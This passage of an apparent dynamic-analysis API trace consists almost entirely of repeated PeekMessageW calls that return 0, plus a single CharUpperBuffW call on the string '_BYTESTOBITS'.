wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.641] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.641] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.643] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.643] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.643] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.643] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.643] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.643] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.643] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.643] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.643] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.643] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.643] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.643] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.643] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.643] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.643] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.643] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.643] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.643] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.643] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.643] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.643] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.644] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.645] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.646] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.646] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.646] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.646] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.646] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.646] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.646] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.646] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.646] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.646] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.646] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.646] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.646] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.646] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.647] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.647] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.647] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.648] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 